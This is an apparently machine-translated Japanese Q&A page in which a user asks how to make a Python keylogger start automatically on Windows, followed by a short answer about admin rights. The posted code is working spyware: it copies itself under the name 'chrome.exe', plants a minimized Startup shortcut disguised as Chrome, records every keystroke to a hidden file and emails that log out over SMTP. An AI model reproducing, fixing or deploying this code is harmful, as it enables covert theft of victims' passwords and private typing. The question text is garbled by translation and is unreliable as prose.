2017-11-25 23 views
-2

新しいコーディングで、何か助けが必要です。 Googleの例を使って簡単な「keylogger」を作った。すべてがうまくいっていますが、私はキーロガーをオートスタートに自動追加する方法はわかりません。私は、自動コピーファイルを、最初に管理者権限で実行した後、選択した宛先に送ってから、自動スタートにショートカットを送信しました。しかし、問題は、コンピュータを再起動するたびに、管理者権限が必要なので、警告を発するだけです。起動スクリプトがうまくいきません。スクリプトがこの瞬間にクラッシュします。私はそのスクリプトが毎回試してみると、たとえ既に存在していても、自動スタートにファイルを追加しようとしているからだと思います。あなたが見ることができるようにここでのコードは、ですが、私はブロックifexcept試みたが、私は:(Python;スタートアップ時にキーロガーが実行されています

import logging 
from pynput.keyboard import Key, Listener 

import smtplib 
from email.mime.text import MIMEText 
from email.mime.multipart import MIMEMultipart 
from email.mime.base import MIMEBase 
from email import encoders 

import win32com.client 
import pythoncom 
import os 

import pathlib 
pathlib.Path('C:\ProgramData\degid').mkdir(parents=True, exist_ok=True) 
pathlib.Path('C:\ProgramData\degid\degid.txt').touch(mode=0o666, exist_ok=True) 

import shutil 

srcfile = 'chrome.exe' 
dstroot = 'C:\ProgramData\degid' 
dstdir = os.path.join(dstroot, os.path.dirname(srcfile)) 
shutil.copy(srcfile, dstdir) 

filePath = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup' 

if os.path.exists(filePath): 
    if os.path.isfile(filePath+'chrome.lnk')==False: 
     try: 
      desktop = r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup' 
      path = os.path.join(desktop, 'chrome.lnk') 
      target = r'C:\ProgramData\degid\chrome.exe' 
      shell = win32com.client.Dispatch("WScript.Shell") 
      shortcut = shell.CreateShortCut(path) 
      shortcut.Targetpath = target 
      shortcut.WindowStyle = 7 # 7 - Minimized, 3 - Maximized, 1 - Normal 
      shortcut.save() 
     except: 
      pass 

email_user = '' 
email_password = '' 
email_send = '' 

subject = '' 

msg = MIMEMultipart() 
msg['From'] = email_user 
msg['To'] = email_send 
msg['Subject'] = subject 

body = 'Hi there' 
msg.attach(MIMEText(body,'plain')) 

filename='C:\ProgramData\degid\degid.txt' 
attachment =open(filename,'rb') 

part = MIMEBase('application','octet-stream') 
part.set_payload((attachment).read()) 
encoders.encode_base64(part) 
part.add_header('Content-Disposition',"attachment; filename= "+filename) 

msg.attach(part) 
text = msg.as_string() 
server = smtplib.SMTP('', 587) 
server.starttls() 
server.login(email_user,email_password) 

server.sendmail(email_user,email_send,text) 
server.quit() 

log_dir ="" 

logging.basicConfig(filename=(log_dir+'C:\ProgramData\degid\degid.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 

答えて

0

あなたがディレクトリにアクセスすると、ファイルがアクセスすることの必要性の管理PREVSが存在するかどうかを確認しようとしているしたいようにそれはまだdoesntの仕事です - ディレクトリを読む場合でも。

関連する問題